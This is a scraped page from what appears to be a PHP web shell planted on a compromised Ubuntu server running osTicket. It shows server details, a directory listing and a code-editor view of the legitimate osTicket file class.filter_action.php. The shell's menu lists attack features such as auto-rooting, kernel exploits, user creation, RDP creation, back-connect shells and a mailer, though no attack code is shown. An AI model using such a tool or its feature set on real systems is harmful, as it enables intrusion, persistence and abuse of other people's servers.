Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.filter_action.php
<?php require_once INCLUDE_DIR . 'class.orm.php'; class FilterAction extends VerySimpleModel { static $meta = array( 'table' => FILTER_ACTION_TABLE, 'pk' => array('id'), 'ordering' => array('sort'), 'joins' => array( 'filter' => array( 'constraint' => array('filter_id' => 'Filter.id'), ), ), ); static $registry = array(); static $registry_group = array(); var $_impl; var $_config; var $_filter; function getId() { return $this->id; } function setFilter($filter) { $this->_filter = $filter; } function getFilter() { return $this->_filter; } function getConfiguration() { if (!$this->_config) { $this->_config = $this->get('configuration'); if (is_string($this->_config)) $this->_config = JsonDataParser::parse($this->_config); elseif (!$this->_config) $this->_config = array(); foreach ($this->getImpl()->getConfigurationOptions() as $name=>$field) if (!isset($this->_config[$name])) $this->_config[$name] = $field->get('default'); } return $this->_config; } function parseConfiguration($source, &$errors=array()) { if (!$source) return $this->getConfiguration(); $config = array(); foreach ($this->getImpl()->getConfigurationForm($source) ->getFields() as $name=>$field) { if (!$field->hasData()) continue; if($field->to_php($field->getClean())) $config[$name] = $field->to_php($field->getClean()); else $config[$name] = $field->getClean(); $errors = array_merge($errors, $field->errors()); } return $config; } function setConfiguration(&$errors=array(), $source=false) { $config = $this->parseConfiguration($source ?: $_POST, $errors); if (count($errors) === 0) $this->set('configuration', JsonDataEncoder::encode($config)); return count($errors) === 0; } function getImpl() { if (!isset($this->_impl)) { //TODO: Figure out why $this->type gives an id $existing = is_numeric($this->type) ? (self::lookup($this->type)) : $this; if (!($I = self::lookupByType($existing->type, $existing))) throw new Exception(sprintf( '%s: No such filter action registered', $this->type)); $this->_impl = $I; } return $this->_impl; } function setFilterFlag($actions, $flag, $bool) { foreach ($actions as $action) { $filter = Filter::lookup($action->filter_id); if ($filter && ($flag == 'dept') && ($filter->hasFlag(Filter::FLAG_INACTIVE_DEPT) != $bool)) $filter->setFlag(Filter::FLAG_INACTIVE_DEPT, $bool); if ($filter && ($flag == 'topic') && ($filter->hasFlag(Filter::FLAG_INACTIVE_HT) != $bool)) $filter->setFlag(Filter::FLAG_INACTIVE_HT, $bool); } } function apply(&$ticket, array $info) { return $this->getImpl()->apply($ticket, $info); } function save($refetch=false) { if ($this->dirty) $this->updated = SqlFunction::NOW(); return parent::save($refetch || $this->dirty); } static function register($class, $group=false) { if (!$class::$type) throw new Exception('Filter actions must specify ::$type'); elseif (!is_subclass_of($class, 'TriggerAction')) throw new Exception('Filter actions must extend from TriggerAction'); self::$registry[$class::$type] = $class; self::$registry_group[$group ?: ''][$class::$type] = $class; } static function lookupByType($type, $thisObj=false) { if (!isset(self::$registry[$type])) return null; $class = self::$registry[$type]; return new $class($thisObj); } static function allRegistered($group=false) { $types = array(); foreach (self::$registry_group as $group=>$actions) { $G = $group ? __($group) : ''; foreach ($actions as $type=>$class) { $types[$G][$type] = __($class::getName()); } } return $types; } } abstract class TriggerAction { static $type = false; static $flags = 0; const FLAG_MULTI_USE = 0x0001; // Action can be used multiple times var $action; function __construct($action=false) { $this->action = $action; } function getConfiguration() { if ($this->action) return $this->action->getConfiguration(); return array(); } function getConfigurationForm($source=false) { if (!$this->_cform) { $config = $this->getConfiguration(); $options = $this->getConfigurationOptions(); // Find a uid offset for this guy $uid = 1000; foreach (FilterAction::$registry as $type=>$class) { $uid += 100; if ($type == $this->getType()) break; } // Ensure IDs are unique foreach ($options as $f) { $f->set('id', $uid++); } $this->_cform = new SimpleForm($options, $source); if (!$source) { foreach ($this->_cform->getFields() as $name=>$f) { if ($config && isset($config[$name])) $f->value = $config[$name]; elseif ($f->get('default')) $f->value = $f->get('default'); } } } return $this->_cform; } function hasFlag($flag) { return static::$flags & $flag > 0; } static function getType() { return static::$type; } static function getName() { return __(static::$name); } abstract function apply(&$ticket, array $info); abstract function getConfigurationOptions(); } class FA_RejectTicket extends TriggerAction { static $type = 'reject'; static $name = /* @trans */ 'Reject Ticket'; function apply(&$ticket, array $info) { throw new RejectedException($this->action->getFilter(), $ticket); } function getConfigurationOptions() { return array( '' => new FreeTextField(array( 'configuration' => array( 'content' => sprintf('<span style="color:red"><b>%s</b></span>', __('Reject Ticket')), ) )), ); } } FilterAction::register('FA_RejectTicket', /* @trans */ 'Ticket'); class FA_UseReplyTo extends TriggerAction { static $type = 'replyto'; static $name = /* @trans */ 'Use Reply-To Email'; function apply(&$ticket, array $info) { if (!$info['reply-to'] || !$ticket['email'] || !strcasecmp($info['reply-to'], $ticket['email'])) // Nothing to do return; // Change email and throw data changed exception $ticket['email'] = $info['reply-to']; if ($info['reply-to-name']) $ticket['name'] = $info['reply-to-name']; throw new FilterDataChanged($ticket); } function getConfigurationOptions() { return array( '' => new FreeTextField(array( 'configuration' => array( 'content' => __('<strong>Use</strong> the Reply-To email header') ) )), ); } } FilterAction::register('FA_UseReplyTo', /* @trans */ 'Communication'); class FA_DisableAutoResponse extends TriggerAction { static $type = 'noresp'; static $name = /* @trans */ "Disable autoresponse"; function apply(&$ticket, array $info) { # TODO: Disable alerting # XXX: Does this imply turning it on as well? (via ->sendAlerts()) $ticket['autorespond']=false; } function getConfigurationOptions() { return array( '' => new FreeTextField(array( 'configuration' => array( 'content' => __('<strong>Disable</strong> new ticket auto-response') ), )), ); } } FilterAction::register('FA_DisableAutoResponse', /* @trans */ 'Communication'); class FA_AutoCannedResponse extends TriggerAction { static $type = 'canned'; static $name = /* @trans */ "Attach Canned Response"; function apply(&$ticket, array $info) { $config = $this->getConfiguration(); if ($config['canned_id']) { $ticket['cannedResponseId'] = $config['canned_id']; } } function getConfigurationOptions() { $sql='SELECT canned_id, title, isenabled FROM '.CANNED_TABLE .' ORDER by title'; $choices = array(false => '— '.__('None').' —'); if ($res=db_query($sql)) { while (list($id, $title, $isenabled)=db_fetch_row($res)) { if (!$isenabled) $title .= ' ' . __('(disabled)'); $choices[$id] = $title; } } return array( 'canned_id' => new ChoiceField(array( 'default' => false, 'choices' => $choices, )), ); } } FilterAction::register('FA_AutoCannedResponse', /* @trans */ 'Communication'); class FA_RouteDepartment extends TriggerAction { static $type = 'dept'; static $name = /* @trans */ 'Set Department'; function apply(&$ticket, array $info) { $config = $this->getConfiguration(); if ($config['dept_id']) { $dept = Dept::lookup($config['dept_id']); if ($dept->isActive()) $ticket['deptId'] = $config['dept_id']; } } function getConfigurationOptions() { $depts = Dept::getDepartments(null, true, false); if ($this->action->type == 'dept') { $dept_id = json_decode($this->action->configuration, true); $dept = Dept::lookup($dept_id['dept_id']); if ($dept && !$dept->isActive()) $depts[$dept->getId()] = $dept->getName(); } return array( 'dept_id' => new ChoiceField(array( 'configuration' => array( 'prompt' => __('Unchanged'), 'data' => array('quick-add' => 'department'), ), 'choices' => $depts + array(':new:' => '— '.__('Add New').' —'), 'validators' => function($self, $clean) { if ($clean === ':new:') $self->addError(__('Select a department')); } )), ); } } FilterAction::register('FA_RouteDepartment', /* @trans */ 'Ticket'); class FA_AssignPriority extends TriggerAction { static $type = 'pri'; static $name = /* @trans */ "Set Priority"; function apply(&$ticket, array $info) { $config = $this->getConfiguration(); if ($config['priority']) $ticket['priorityId'] = $config['priority']; } function getConfigurationOptions() { $sql = 'SELECT priority_id, priority_desc FROM '.PRIORITY_TABLE .' ORDER BY priority_urgency DESC'; $choices = array(); if ($res = db_query($sql)) { while ($row = db_fetch_row($res)) $choices[$row[0]] = $row[1]; } return array( 'priority' => new ChoiceField(array( 'configuration' => array('prompt' => __('Unchanged')), 'choices' => $choices, )), ); } } FilterAction::register('FA_AssignPriority', /* @trans */ 'Ticket'); class FA_AssignSLA extends TriggerAction { static $type = 'sla'; static $name = /* @trans */ 'Set SLA Plan'; function apply(&$ticket, array $info) { $config = $this->getConfiguration(); if ($config['sla_id']) $ticket['slaId'] = $config['sla_id']; } function getConfigurationOptions() { $choices = SLA::getSLAs(); return array( 'sla_id' => new ChoiceField(array( 'configuration' => array('prompt' => __('Unchanged')), 'choices' => $choices, )), ); } } FilterAction::register('FA_AssignSLA', /* @trans */ 'Ticket'); class FA_AssignTeam extends TriggerAction { static $type = 'team'; static $name = /* @trans */ 'Assign Team'; function apply(&$ticket, array $info) { $config = $this->getConfiguration(); if ($config['team_id']) $ticket['teamId'] = $config['team_id']; } function getConfigurationOptions() { $choices = Team::getTeams(); return array( 'team_id' => new ChoiceField(array( 'configuration' => array( 'prompt' => __('Unchanged'), 'data' => array('quick-add' => 'team'), ), 'choices' => Team::getTeams() + array(':new:' => '— '.__('Add New').' —'), 'validators' => function($self, $clean) { if ($clean === ':new:') $self->addError(__('Select a Team')); } )), ); } } FilterAction::register('FA_AssignTeam', /* @trans */ 'Ticket'); class FA_AssignAgent extends TriggerAction { static $type = 'agent'; static $name = /* @trans */ 'Assign Agent'; function apply(&$ticket, array $info) { $config = $this->getConfiguration(); if ($config['staff_id']) $ticket['staffId'] = $config['staff_id']; } function getConfigurationOptions() { $choices = Staff::getStaffMembers(); return array( 'staff_id' => new ChoiceField(array( 'configuration' => array('prompt' => __('Unchanged')), 'choices' => $choices, )), ); } } FilterAction::register('FA_AssignAgent', /* @trans */ 'Ticket'); class FA_AssignTopic extends TriggerAction { static $type = 'topic'; static $name = /* @trans */ 'Set Help Topic'; function apply(&$ticket, array $info) { $config = $this->getConfiguration(); if ($config['topic_id']) { $topic = Topic::lookup($config['topic_id']); if ($topic->isActive()) $ticket['topicId'] = $config['topic_id']; } } function getConfigurationOptions() { $choices = Topic::getHelpTopics(false, false); if ($this->action->type == 'topic') { $topic_id = json_decode($this->action->configuration, true); $topic = Topic::lookup($topic_id['topic_id']); if ($topic && !$topic->isActive()) $choices[$topic->getId()] = $topic->getName(); } return array( 'topic_id' => new ChoiceField(array( 'configuration' => array('prompt' => __('Unchanged')), 'choices' => $choices, )), ); } } FilterAction::register('FA_AssignTopic', /* @trans */ 'Ticket'); class FA_SetStatus extends TriggerAction { static $type = 'status'; static $name = /* @trans */ 'Set Ticket Status'; function apply(&$ticket, array $info) { $config = $this->getConfiguration(); if ($config['status_id']) $ticket['statusId'] = $config['status_id']; } function getConfigurationOptions() { $choices = array(); foreach (TicketStatusList::getStatuses(array( 'states' => array('open', 'closed') )) as $S) { // TODO: Move this to TicketStatus::getName $name = $S->getName(); if (!($isenabled = $S->isEnabled())) $name.=' '.__('(disabled)'); $choices[$S->getId()] = $name; } return array( 'status_id' => new ChoiceField(array( 'configuration' => array('prompt' => __('Unchanged')), 'choices' => $choices, )), ); } } FilterAction::register('FA_SetStatus', /* @trans */ 'Ticket'); class FA_SendEmail extends TriggerAction { static $type = 'email'; static $name = /* @trans */ 'Send an Email'; static $flags = TriggerAction::FLAG_MULTI_USE; function apply(&$ticket, array $info) { global $ost; $config = $this->getConfiguration(); $info = array('subject' => $config['subject'], 'message' => $config['message']); $info = $ost->replaceTemplateVariables( $info, array('ticket' => $ticket) ); // Honor FROM address settings if (!$config['from'] || !($mailer = Email::lookup($config['from']))) $mailer = new Mailer(); // Allow %{user} in the To: line $replacer = new VariableReplacer(); $replacer->assign(array( 'user' => sprintf('"%s" <%s>', $ticket['name'], $ticket['email']) )); $to = $replacer->replaceVars($config['recipients']); require_once PEAR_DIR . 'Mail/RFC822.php'; require_once PEAR_DIR . 'PEAR.php'; if (!($mails = Mail_RFC822::parseAddressList($to)) || PEAR::isError($mails)) return false; // Allow %{recipient} in the body foreach ($mails as $R) { $recipient = sprintf('%s <%s@%s>', $R->personal, $R->mailbox, $R->host); $replacer->assign(array( 'recipient' => new EmailAddress($recipient), )); $I = $replacer->replaceVars($info); $mailer->send($recipient, $I['subject'], $I['message']); } } static function getVarScope() { $context = array( 'ticket' => array( 'class' => 'FA_SendEmail_TicketInfo', 'desc' => __('Ticket'), ), 'user' => __('Ticket Submitter'), 'recipient' => array( 'class' => 'EmailAddress', 'desc' => __('Recipient'), ), ) + osTicket::getVarScope(); return VariableReplacer::compileScope($context); } function getConfigurationOptions() { global $cfg; $choices = Email::getAddresses(); return array( 'recipients' => new TextboxField(array( 'label' => __('Recipients'), 'required' => true, 'configuration' => array( 'size' => 80, 'length' => 1000, ), 'validators' => function($self, $value) { if (!($mails = Mail_RFC822::parseAddressList($value)) || PEAR::isError($mails)) $self->addError('Unable to parse address list. ' .'Use commas to separate addresses.'); $valid = array('user',); foreach ($mails as $M) { // Check placeholders like '%{user}' $P = array(); if (preg_match('`%\{([^}]+)\}`', $M->mailbox, $P)) { if (!in_array($P[1], $valid)) $self->addError(sprintf('%s: Not a valid variable', $P[0])); } elseif ($M->host == 'localhost' || !$M->mailbox) { $self->addError(sprintf(__('%s: Not a valid email address'), $M->mailbox . '@' . $M->host)); } } } )), 'subject' => new TextboxField(array( 'required' => true, 'configuration' => array( 'size' => 80, 'placeholder' => __('Subject') ), )), 'message' => new TextareaField(array( 'required' => true, 'configuration' => array( 'placeholder' => __('Message'), 'html' => true, 'context' => 'fa:send_email', ), )), 'from' => new ChoiceField(array( 'label' => __('From Email'), 'choices' => $choices, 'default' => $cfg->getDefaultEmail()->getId(), )), ); } } FilterAction::register('FA_SendEmail', /* @trans */ 'Communication'); class FA_SendEmail_TicketInfo { static function getVarScope() { return array( 'message' => __('Message from the EndUser'), 'source' => __('Source'), ); } }
Close